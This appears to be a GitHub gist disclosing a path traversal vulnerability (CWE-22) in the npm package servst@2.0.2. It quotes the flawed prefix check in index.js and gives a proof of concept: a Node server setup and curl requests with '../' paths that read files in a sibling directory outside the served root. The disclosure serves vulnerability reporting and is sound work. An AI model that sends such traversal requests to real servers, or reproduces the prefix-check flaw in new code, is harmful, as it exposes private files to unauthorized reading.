Skip to content

Instantly share code, notes, and snippets.

@lirantal
Created November 22, 2022 21:09
Show Gist options
  • Save lirantal/691d02d607753d54856f9335f9a1692f to your computer and use it in GitHub Desktop.
Save lirantal/691d02d607753d54856f9335f9a1692f to your computer and use it in GitHub Desktop.
Path traversal in servst@2.0.2

Path traversal vulnerability in servst@2.0.2

servst is a local HTTP file server, or as is it describes itself: Simple file server.

Observation:

  • It's at virtually 0 downloads (6 weekly)
  • It was last published 7 years ago

Resources:

Background on exploitation

The servst is taking care to decode the URI, normalize the path and even asset for the path accessed being relative to that of the root directory, however this last case is where this is implemented in a vulnerable way:

Lines 25-30 of index.js:

    if (filePath.indexOf(root) !== 0) {
      fn({
        url: filePath,
        status: 404
      });
    }

This vulnerability should probably be classified as a CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').

Proof of Concept exploit

  1. Install the latest version of servst: npm install servst@2.0.2
  2. Make sure you have a public/ directory with files in it
  3. Make sure you have a public-isprivate directory with files in it
  4. Make sure you have a private/ directory with files in it

All directories above should share the same relative parent, meaning the directory structure should look as follows:

.
├── private
│   └── index.html
├── public
│   └── index.html
└── public-isprivate
    └── index.html

Then, run a server powered by servst as follows:

var http = require('http');
var servst = require('servst');
var statics = servst(__dirname + '/public');

http.createServer(function(req, res) {
  statics(req, res, function(err) {
    if (err) {
      res.writeHead(404, {'Content-Type': 'text/plain'});
      res.end('Not found');
    }
  });
}).listen(3000);

which sets the public root directory to the public/ directory that we previously created:

The server should run within the local folder where all private/, public/, and public-isprivate are subfolders.

Next, verify the following:

  1. curl --path-as-is "http://localhost:3000/../private/index.html" -> this request is denied, as expected with prior vulnerability fix.
  2. curl --path-as-is "http://localhost:3000/../public/index.html" -> this request is allowed, as expected with the functionality of this local http server
  3. curl --path-as-is "http://localhost:3000/../public-isprivate/index.html" -> this request SHOULD BE DENIED because it is outside the public/ folder, but it is actually allowed.

Case (3) shouldn't happen, but it does, due to an improper fix in the library's source code.

Author

Liran Tal

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment